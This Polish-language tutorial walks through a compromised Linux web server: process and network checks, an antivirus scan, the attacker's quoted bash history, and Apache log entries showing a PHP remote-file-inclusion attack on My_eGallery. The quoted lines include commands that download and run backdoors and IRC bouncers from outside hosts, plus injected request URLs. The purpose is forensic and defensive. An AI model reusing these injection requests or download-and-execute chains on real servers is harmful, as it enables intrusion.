Zainfekowany serwer
Opisano tu przypadek serwera z zainstalowanym wirusem, który nadal można uratować - bez konieczności reinstalacji.

# ps auxw
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog..
nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd
nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven


Najwyraźniej haker wykorzystał luki w skryptach php i mógł mieć dostęp do powłoki shell na serwerze. Następnie mógł zainstalować, skompilować i uruchomić różne programy. Widać, że używano nazw takich jak httpd, które oznaczają z reguły serwer apache. Na pierwszy rzut oka wygląda to na serwer web, mimo że tak w istocie nie jest.

Haker mógł również zobaczyć to:

# uname -a
Linux nsxxxxxxx 2.4.24-custom-grsec #1 mar jan 6 22:29:56 CET 2004 i686 unknown


Klient skompilował jądro bez błędu zabezpieczenia. Możemy zatem domyślać się, że haker nie mógł mieć dostępu roota do serwera.
Przeprowadzimy kilka testów:

# netstat -tanpu
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58215 CLOSE_WAIT -
tcp 0 0 213.186.XX.XX :59768 68.123.42.162:1449 ESTABLISHED 16386/raven
tcp 0 0 213.186.XX.XX :42473 195.47.220.2:6667 ESTABLISHED 647/fileoutlog.
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58698 CLOSE_WAIT -
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:52703 CLOSE_WAIT -
tcp 0 0 213.186.XX.XX :42427 193.109.122.67:6667 ESTABLISHED 647/fileoutlog.
tcp 0 0 213.186.XX.XX :36162 62.235.13.228:6667 ESTABLISHED 647/fileoutlog.
udp 0 0 0.0.0.0 :3049 0.0.0.0:* 10279/rh


Widać, że proces rh nasłuchuje na porcie 3049. W grę wchodzi wirus. Proces jest w stanie "nobody"; pewne jest, że wirus nie został zainstalowany (jak na razie). Należy być teraz bardzo ostrożnym. Jeden nieprawidłowy krok może skutkować instalacją wirusa w root i nie pozostanie nic poza reinstalacją serwera. Dlatego najpierw zaczniemy od sprawdzenia, czy chodzi o wirusa. Zainstalujemy antywirusa i przeglądniemy katalogi.

# cd /temp/
  1. wget http://www.antivir.de/dateien/antivir/release/avlxwks.tgz class="wiki" href="1">1
  2. tar xvfz avlxwks.tgz
  3. cd antivir-workstation-2.0.9/bin/

Zrobimy to tak, żeby wirus nie mógł zmodyfikować antywirusa.

# chattr -i antivir
  1. cp ../vdf/antivir.vdf ./
  2. ./antivir
'AntiVir' / Linux Version 2.0.9-12
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.

Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ...

'AntiVir' is running in DEMO mode.
VDF version: 6.23.0.34 created 18 Jan 2004

checking drive/path (cwd): /temp/antivir-workstation-2.0.9/bin

scan results
directories: 1
files: 1
alerts: 0
scan time: 00:00:01

Thank you for using 'AntiVir'.


Teraz sprawdzimy katalogi:

# ./antivir --allfiles /*
'AntiVir' / Linux Version 2.0.9-12
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.

Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ...

'AntiVir' is running in DEMO mode.
VDF version: 6.23.0.34 created 18 Jan 2004

checking drive/path (list): /bin
checking drive/path (list): /boot
checking drive/path (list): /dev
checking drive/path (list): /etc
checking drive/path (list): /home
checking drive/path (list): /initrd
checking drive/path (list): /lib
checking drive/path (list): /lost+found
checking drive/path (list): /mnt
checking drive/path (list): /opt
checking drive/path (list): /proc
checking drive/path (list): /root
checking drive/path (list): /sbin
checking drive/path (list): /temp
checking drive/path (list): /tmp
/tmp/bindtty
Date: 24.01.2004 Time: 13:39:29 Size: 28143
ALERT: Linux/Rst.B virus /tmp/bindtty Contains signature of the Linux virus Linux/Rst.B

/tmp/_30267_120_21.wrk
Date: 24.01.2004 Time: 13:35:05 Size: 9834
ALERT: Linux/Rst.B virus /tmp/_30267_120_21.wrk Contains signature of the Linux virus Linux/Rst.B

/tmp/d
Date: 15.12.2003 Time: 16:41:54 Size: 132720
ALERT: Linux/Rst.B virus /tmp/d Contains signature of the Linux virus Linux/Rst.B

/tmp/d2
Date: 24.01.2004 Time: 13:39:29 Size: 93694
ALERT: Linux/Rst.B virus /tmp/d2 Contains signature of the Linux virus Linux/Rst.B


checking drive/path (list): /usr
checking drive/path (list): /var

scan results
directories: 17
files: 713
alerts: 4
repaired: 0
deleted: 0
renamed: 0
scan time: 00:00:08
Thank you for using 'AntiVir'.

Jest to Rst.B :
http://www.computeruser.com/news/02/01/08/news1.html
http://www.sophos.fr/virusinfo/analyses/linuxrstb.html

NIE WOLNO dopuścić do jego instalacji.
Obecnie wirus ten jest wykonywany przez nobody - użytkownik nie może zrobić wiele na serwerze. Mając połączenie root , jeżeli go zainstaluje, da mu prawo dostępu jako root czyli superużytkownik. Od tego momentu wirus mający prawo dostępu do całego dysku będzie oddziaływał na wszystkie pliki (które należą do root).

# cd /tmp
  1. ls -l
total 9348
-rwxrwxrwx 1 nobody nobody 28143 jan 24 13:39 bindtty
-rwxr-xr-x 1 nobody nobody 132720 dec 15 16:41 d
-rwxr-xr-x 1 nobody nobody 93694 jan 24 13:39 d2
drwxr-xr-x 11 nobody nobody 4096 jan 24 12:05 psybnc
  1. rm -rf *
  2. ls -al
total 24
drwxrwxrwt 3 root root 12288 jan 24 16:11 .
drwxr-xr-x 19 root root 4096 jan 24 15:47 ..
drwxr-xr-x 3 nobody nobody 4096 jan 24 13:42 ...
-rw- 1 nobody nobody 803 jan 23 11:38 .bash_history


Oto plik bash w shell. Sprawdźmy to, co dopisał hacker:

# cat .bash_history
cd /var/tmp
uptime
mkdir " "
cd " "
wget http://hm2k.org/irc/psybnc/psyBNC2.2.1-linux-i86-static.tar.gz class="wiki" href="4">4
tar -zxvf psyBNC2.2.1-linux-i86-static.tar.gz
rm -rf psyBNC2.2.1-linux-i86-static.tar.gz
cd psybnc
make
rm -rf psybnc.conf
wget e-2008.com/psybnc.conf
./psybnc
w
cd /var/tmp
mkdir " .."
cd " .."
wget cool-life.org/alina
chmod +x alina
./alina
cat /etc/issue
./alina
./alina
./alina
./alina
./alina
./alina
./alina
wget mephist0.3x.ro/insert.tar.gz
tar zxvf insert.tar.gz
cd 123123321
./x
./x
./x
./x
./x
./x
wget wget www.bogo.as.ro/linux/httpd
chmod +x httpd
./httpd
socklist
ps ax
wget ma-doare-n-pwla.com/bind.tgz
chmod +x bind
tar zxvf bind.tgz
cd bind
chmod +x raven
./raven
kill -9 9296
ps ax
killall -9 x
killall -9 alina
killall -9 psybnc
ps afx
killall -9 tmp/./bindtty
killall -9 bindtty

Widzimy, że utworzono katalog " " (ze spacją). Poza tym hacker instaluje bounce'a IRC, którego będzie wykorzystywał w przyszłości do łączenia jednego serwera z drugim. Pozwoli mu to na uniknięcie podania jego prawdziwego ip połączenia. Pozostanie zawsze anonimowy.

Teraz zatrzymamy procesy :

# ps auxw | grep nobody
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.
nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd
nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven
  1. kill 10279
  2. kill 647
  3. kill 25551
  4. kill 16386
  5. ps auxw | grep nobody
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.
  1. kill -9 647
  2. ps auxw | grep nobody

Sprawdzamy, czy hacker nie zainstalował pliku crontab


# cd /var/spool/cron/
  1. ls -al
total 8
drwx- 2 root root 4096 jui 17 2003 .
drwxr-xr-x 7 root root 4096 jun 24 2003 ..


Doskonale. Serwer jest znowu czysty. Ale haker może nadal wykorzystwać lukę w skryptach php i powrócić na serwer. Należy więc odnaleźć plik php, który nie jest zabezpieczony.

# cd /usr/local/apache/logs


W tym celu wyszukamy żądania GET w skryptach php, gdzie sprawdzimy parametry. Najprawdopodobniej haker użył wget, aby wgrać na serwer plik wykonywalny.

# grep "php?" *_log | grep GET | grep wget
ovh-access_log:202.133.101.83 - - 18/Jan/2004:11:40:48 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=wget%20streez.org/bindtty%20-O%20/tmp/bindtty5 HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en"


Zgadza się. Sprawdzimy teraz, co jeszcze zrobił.

# grep "202.133.101.83" ovh-access_log
202.133.101.83 - - 18/Jan/2004:11:40:01 +0100 "GET /~sitehacke/sitehacke/modules.php?name=My_eGallery HTTP/1.0" 200 14012 "http://www.google.com.my/search?q=allinurl:+My_eGallery+site:.net&hl=ms&lr=&ie=UTF-8&oe=UTF-8&start=420&sa=N6" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en"
202.133.101.83 - - 18/Jan/2004:11:40:10 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=uname%20-a;%20id7 HTTP/1.0" 200 794 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en"
202.133.101.83 - - 18/Jan/2004:11:40:48 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=wget%20streez.org/bindtty%20-O%20/tmp/bindtty8 HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en"
202.133.101.83 - - 18/Jan/2004:11:41:06 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=chmod%20777%20/tmp/bindtty9 HTTP/1.0" 200 705 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en"
202.133.101.83 - - 18/Jan/2004:11:41:24 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=/tmp/./bindtty10 HTTP/1.0" 200 734 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 en"


I tak:
Poprzez Google wyszukiwał stron, które zostały zainstalowane w My_EGallery. www.google.com.my/search?q=allinurl:+My_eGallery+site
Najpierw próbował sprawdzić, czy ten skrypt ma lukę poprzez próbę wykonania uname -a; id . Widocznie to zadziałało. Zainstalował shella z wirusem i skopiował go do katalogu /tmp wget 20streez.org/bindtty -O /tmp/bindtty. Nastepnie przyznał uprawnienia wykonania temu skryptowi : chmod 777 /tmp/bindtty i wykonał go : /tmp/./bindtty

To pozwoliło mu uruchomić shella i otrzymać dostęp do serwera jako nobody. A wszystko to w 1 minutę i 23 sekundy !! Zablokujemy ten katalog :

# cd /home/sitehacke
  1. ls -al
total 16
drwx-r-x 4 sitehacke users 4096 sep 9 19:34 .
drwxr-xr-x 98 root root 4096 jan 23 11:42 ..
drwx-r-x 2 sitehacke users 4096 sep 9 19:34 cgi-bin
drwx-r-x 6 sitehacke users 4096 dec 21 00:57 www
  1. chmod -cfR 0 *

Haker łączył się z adresu ip 202.133.101.83

# whois 202.133.101.83

inetnum: 202.133.96.0 - 202.133.111.255
netname: MYKRISNET
descr: Wireless Internet Service Provider
descr: descr: Mont' Kiara, Kuala Lumpur, Malaysia.
country: MY


Ip z Malezji, prawdopodobnie zaatakowany abonent ADSL. Nic nie da złożenie doniesienia na Policję.
W dmesg serwera widać:

# dmesg
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
eth0: link down
eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
eth0: link down
eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
grsec: From 81.196.46.28: signal 11 sent to (km3:13236) UID(99) EUID(99), parent (km3:17922) UID(99) EUID(99)
grsec: From 81.196.46.28: signal 11 sent to (km3:7660) UID(99) EUID(99), parent (km3:13236) UID(99) EUID(99)
grsec: From 80.96.33.157: signal 11 sent to (psybnc:17799) UID(99) EUID(99), parent (init:1) UID(0) EUID(0)
grsec: From 80.96.33.157: signal 11 sent to (psybnc:21648) UID(99) EUID(99), parent (init:1) UID(0) EUID(0)


Haker chciał uruchomić softa alina, prawdopodobnie skan sieci. Na szczęście komórka GRS wykryła to i zakończyła ten proces. Następnie haker próbował przeprowadzić inne skany sieci. Były one na tyle agresywne, że połączenie sieciowe rj45 przerwało je w przeciągu kilku sekund :

# grep "eth0" /var/log/messages
Jan 23 11:29:25 ns10 kernel: eth0: link down
Jan 23 11:32:14 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
Jan 23 11:32:17 ns10 kernel: eth0: link down
Jan 23 11:32:18 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1


Ponieważ połączenie zostało przerwane, wykresy MRTG nie pokazują ataku. Widoczne jest, że ip połączenia ponownie zmieniło się :

# whois 80.96.33.10
Requete en cours whois.ripe.net
inetnum: 80.96.33.0 - 80.96.33.255
netname: SC-NET-AND-COMPUTERS-SRL
descr: SC Net & Computers SRL
descr: Str. Petru Rares nr.7 Dorohoi
country: ro


Adres IP z Rumunii.

# whois 81.196.46.28
Requete en cours whois.ripe.net
inetnum: 81.196.46.0 - 81.196.46.31
netname: RO-OR-MULTINET-20030708
descr: Multinet Systems SRL
country: RO


Ponownie adres IP z Rumunii.

# whois 80.96.33.157
Requete en cours whois.ripe.net
whois.ripe.net
inetnum: 80.96.33.0 - 80.96.33.255
netname: SC-NET-AND-COMPUTERS-SRL
descr: SC Net & Computers SRL
descr: Str. Petru Rares nr.7 Dorohoi
country: ro





Napiszemy wiadomość e-mail do administratorów sieci, którzy zarządzają tymi ip, aby sprawdzili swoją sieć. Nigdy jednak nie otrzymamy odpowiedzi i nigdy nie będziemy wiedzieć, czy sieć została sprawdzona.

Wniosek: Aktualizuj swój serwer i sprawdzaj, co sie na nim dzieje. Atak hakera jest łatwy i szybki. Hakera nia można jednak odnaleźć.